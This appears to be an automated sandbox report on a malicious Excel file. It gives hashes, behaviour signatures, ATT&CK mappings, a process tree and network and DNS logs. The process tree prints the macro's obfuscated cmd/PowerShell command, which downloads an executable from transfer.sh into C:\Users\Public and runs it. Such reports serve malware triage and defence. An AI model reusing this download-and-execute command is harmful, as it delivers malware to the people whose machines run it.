8617373dde4cd0ab5e3dd348aeb96b50d30c3c8325ac65eee85b846eb7cd436e

Analysis

max time kernel
150s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
11/10/2023, 23:54 UTC

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General

Target

bc127ab9ae2605214e214b69cda0597477f8bc4b903d5215dd9e221cda0991b5.xls
Size

100KB
MD5

5014be5bf154ed9bbfe3b5868ad702d1
SHA1

1ccadf970129812badcb86515d286ff1d6dd5200
SHA256

bc127ab9ae2605214e214b69cda0597477f8bc4b903d5215dd9e221cda0991b5
SHA512

486ae1acfb7c80b279dcdcf254d4e797ed6e7d146f2de5634584e4d995944ab6923ab747733bea85ae0bb39fa1be468e5f74cb9fd010e09a69c59279bbeed3a2
SSDEEP

3072:5rxEtjPOtioVjDGUU1qfDlaGGx+cL2QnAQtJE2zuxq+fr9wBLa71ba2ryLTHeYE:BxEtjPOtioVjDGUU1qfDlavx+W2QnAsF

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2904	3244	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
52	3204	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3244	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3204	powershell.exe
3204	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3204	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3244	EXCEL.EXE
3244	EXCEL.EXE
3244	EXCEL.EXE
3244	EXCEL.EXE
3244	EXCEL.EXE
3244	EXCEL.EXE
3244	EXCEL.EXE
3244	EXCEL.EXE
3244	EXCEL.EXE
3244	EXCEL.EXE
3244	EXCEL.EXE
3244	EXCEL.EXE
3244	EXCEL.EXE
3244	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3244 wrote to memory of 2904	3244	EXCEL.EXE	89
PID 3244 wrote to memory of 2904	3244	EXCEL.EXE	89
PID 2904 wrote to memory of 3204	2904	cmd.exe	91
PID 2904 wrote to memory of 3204	2904	cmd.exe	91

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bc127ab9ae2605214e214b69cda0597477f8bc4b903d5215dd9e221cda0991b5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3244
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/JWNONUaUMt/Egrome.e^xe -o C:\Users\Public\z3usy.exe;C:\Users\Public\z3usy.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell /W 01 curl https://transfer.sh/get/JWNONUaUMt/Egrome.exe -o C:\Users\Public\z3usy.exe;C:\Users\Public\z3usy.exe
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3204

Network

DNS

8.8.8.8.in-addr.arpa

Remote address:

8.8.8.8:53

Request

8.8.8.8.in-addr.arpa

IN PTR

Response

8.8.8.8.in-addr.arpa

IN PTR

dnsgoogle
DNS

46.28.109.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

46.28.109.52.in-addr.arpa

IN PTR

Response
DNS

11.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

11.227.111.52.in-addr.arpa

IN PTR
DNS

11.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

11.227.111.52.in-addr.arpa

IN PTR
DNS

11.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

11.227.111.52.in-addr.arpa

IN PTR
DNS

11.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

11.227.111.52.in-addr.arpa

IN PTR
DNS

11.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

11.227.111.52.in-addr.arpa

IN PTR
DNS

133.32.126.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

133.32.126.40.in-addr.arpa

IN PTR

Response
DNS

254.109.26.67.in-addr.arpa

Remote address:

8.8.8.8:53

Request

254.109.26.67.in-addr.arpa

IN PTR

Response
DNS

95.221.229.192.in-addr.arpa

Remote address:

8.8.8.8:53

Request

95.221.229.192.in-addr.arpa

IN PTR

Response
DNS

43.58.199.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

43.58.199.20.in-addr.arpa

IN PTR

Response
DNS

54.120.234.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

54.120.234.20.in-addr.arpa

IN PTR

Response
DNS

59.128.231.4.in-addr.arpa

Remote address:

8.8.8.8:53

Request

59.128.231.4.in-addr.arpa

IN PTR

Response
DNS

241.154.82.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

241.154.82.20.in-addr.arpa

IN PTR

Response
DNS

23.173.189.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

23.173.189.20.in-addr.arpa

IN PTR

Response
DNS

134.32.126.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

134.32.126.40.in-addr.arpa

IN PTR

Response
DNS

29.81.57.23.in-addr.arpa

Remote address:

8.8.8.8:53

Request

29.81.57.23.in-addr.arpa

IN PTR

Response

29.81.57.23.in-addr.arpa

IN PTR

a23-57-81-29deploystaticakamaitechnologiescom
DNS

transfer.sh

powershell.exe

Remote address:

8.8.8.8:53

Request

transfer.sh

IN A

Response

transfer.sh

IN A

144.76.136.153
GET

https://transfer.sh/get/JWNONUaUMt/Egrome.exe

powershell.exe

Remote address:

144.76.136.153:443

Request

GET /get/JWNONUaUMt/Egrome.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
Host: transfer.sh
Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found

Content-Type: text/plain; charset=utf-8
Retry-After: Fri, 13 Oct 2023 00:45:12 GMT
Server: Transfer.sh HTTP Server
X-Content-Type-Options: nosniff
X-Made-With: <3 by DutchCoders
X-Ratelimit-Key: 154.61.71.13
X-Ratelimit-Limit: 10
X-Ratelimit-Rate: 600
X-Ratelimit-Remaining: 9
X-Ratelimit-Reset: 1697150712
X-Served-By: Proudly served by DutchCoders
Date: Thu, 12 Oct 2023 22:45:06 GMT
Content-Length: 10
DNS

153.136.76.144.in-addr.arpa

Remote address:

8.8.8.8:53

Request

153.136.76.144.in-addr.arpa

IN PTR

Response

153.136.76.144.in-addr.arpa

IN PTR

transfersh
DNS

208.194.73.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

208.194.73.20.in-addr.arpa

IN PTR

Response
DNS

157.123.68.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

157.123.68.40.in-addr.arpa

IN PTR

Response
DNS

56.126.166.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

56.126.166.20.in-addr.arpa

IN PTR

Response
DNS

1.202.248.87.in-addr.arpa

Remote address:

8.8.8.8:53

Request

1.202.248.87.in-addr.arpa

IN PTR

Response

1.202.248.87.in-addr.arpa

IN PTR

https-87-248-202-1amsllnwnet
DNS

13.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

13.227.111.52.in-addr.arpa

IN PTR

Response
DNS

146.78.124.51.in-addr.arpa

Remote address:

8.8.8.8:53

Request

146.78.124.51.in-addr.arpa

IN PTR

Response
DNS

158.240.127.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

158.240.127.40.in-addr.arpa

IN PTR

Response
DNS

169.117.168.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

169.117.168.52.in-addr.arpa

IN PTR

Response

144.76.136.153:443

https://transfer.sh/get/JWNONUaUMt/Egrome.exe

tls, http

powershell.exe

878 B
4.9kB
9
7

HTTP Request

GET https://transfer.sh/get/JWNONUaUMt/Egrome.exe

HTTP Response

404

8.8.8.8:53

8.8.8.8.in-addr.arpa

dns

66 B
90 B
1
1

DNS Request

8.8.8.8.in-addr.arpa
8.8.8.8:53

46.28.109.52.in-addr.arpa

dns

71 B
145 B
1
1

DNS Request

46.28.109.52.in-addr.arpa
8.8.8.8:53

11.227.111.52.in-addr.arpa

dns

360 B
5

DNS Request

11.227.111.52.in-addr.arpa

DNS Request

11.227.111.52.in-addr.arpa

DNS Request

11.227.111.52.in-addr.arpa

DNS Request

11.227.111.52.in-addr.arpa

DNS Request

11.227.111.52.in-addr.arpa
8.8.8.8:53

133.32.126.40.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

133.32.126.40.in-addr.arpa
8.8.8.8:53

254.109.26.67.in-addr.arpa

dns

72 B
126 B
1
1

DNS Request

254.109.26.67.in-addr.arpa
8.8.8.8:53

95.221.229.192.in-addr.arpa

dns

73 B
144 B
1
1

DNS Request

95.221.229.192.in-addr.arpa
8.8.8.8:53

43.58.199.20.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

43.58.199.20.in-addr.arpa
8.8.8.8:53

54.120.234.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

54.120.234.20.in-addr.arpa
8.8.8.8:53

59.128.231.4.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

59.128.231.4.in-addr.arpa
8.8.8.8:53

241.154.82.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

241.154.82.20.in-addr.arpa
8.8.8.8:53

23.173.189.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

23.173.189.20.in-addr.arpa
8.8.8.8:53

134.32.126.40.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

134.32.126.40.in-addr.arpa
8.8.8.8:53

29.81.57.23.in-addr.arpa

dns

70 B
133 B
1
1

DNS Request

29.81.57.23.in-addr.arpa
8.8.8.8:53

transfer.sh

dns

powershell.exe

57 B
73 B
1
1

DNS Request

transfer.sh

DNS Response

144.76.136.153
8.8.8.8:53

153.136.76.144.in-addr.arpa

dns

73 B
98 B
1
1

DNS Request

153.136.76.144.in-addr.arpa
8.8.8.8:53

208.194.73.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

208.194.73.20.in-addr.arpa
8.8.8.8:53

157.123.68.40.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

157.123.68.40.in-addr.arpa
8.8.8.8:53

56.126.166.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

56.126.166.20.in-addr.arpa
8.8.8.8:53

1.202.248.87.in-addr.arpa

dns

71 B
116 B
1
1

DNS Request

1.202.248.87.in-addr.arpa
8.8.8.8:53

13.227.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

13.227.111.52.in-addr.arpa
8.8.8.8:53

146.78.124.51.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

146.78.124.51.in-addr.arpa
8.8.8.8:53

158.240.127.40.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

158.240.127.40.in-addr.arpa
8.8.8.8:53

169.117.168.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

169.117.168.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qv0rhb41.tr4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3204-50-0x00007FFD67480000-0x00007FFD67F41000-memory.dmp

Filesize
10.8MB

Download
memory/3204-43-0x000001CBD6400000-0x000001CBD6BA6000-memory.dmp

Filesize
7.6MB

Download
memory/3204-41-0x000001CBBD0B0000-0x000001CBBD0C0000-memory.dmp

Filesize
64KB

Download
memory/3204-42-0x000001CBBD0B0000-0x000001CBBD0C0000-memory.dmp

Filesize
64KB

Download
memory/3204-40-0x00007FFD67480000-0x00007FFD67F41000-memory.dmp

Filesize
10.8MB

Download
memory/3204-38-0x000001CBBD0C0000-0x000001CBBD0E2000-memory.dmp

Filesize
136KB

Download
memory/3244-7-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3244-28-0x000001C79C490000-0x000001C79D460000-memory.dmp

Filesize
15.8MB

Download
memory/3244-9-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3244-10-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3244-11-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3244-12-0x00007FFD50730000-0x00007FFD50740000-memory.dmp

Filesize
64KB

Download
memory/3244-13-0x00007FFD50730000-0x00007FFD50740000-memory.dmp

Filesize
64KB

Download
memory/3244-26-0x000001C79C490000-0x000001C79D460000-memory.dmp

Filesize
15.8MB

Download
memory/3244-27-0x000001C79C490000-0x000001C79D460000-memory.dmp

Filesize
15.8MB

Download
memory/3244-3-0x00007FFD52B50000-0x00007FFD52B60000-memory.dmp

Filesize
64KB

Download
memory/3244-8-0x00007FFD52B50000-0x00007FFD52B60000-memory.dmp

Filesize
64KB

Download
memory/3244-1-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3244-5-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3244-6-0x00007FFD52B50000-0x00007FFD52B60000-memory.dmp

Filesize
64KB

Download
memory/3244-4-0x00007FFD92AD0000-0x00007FFD92CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3244-2-0x00007FFD52B50000-0x00007FFD52B60000-memory.dmp

Filesize
64KB

Download
memory/3244-46-0x000001C79C490000-0x000001C79D460000-memory.dmp

Filesize
15.8MB

Download
memory/3244-49-0x000001C79C490000-0x000001C79D460000-memory.dmp

Filesize
15.8MB

Download
memory/3244-0-0x00007FFD52B50000-0x00007FFD52B60000-memory.dmp

Filesize
64KB

Download
memory/3244-51-0x000001C79C490000-0x000001C79D460000-memory.dmp

Filesize
15.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

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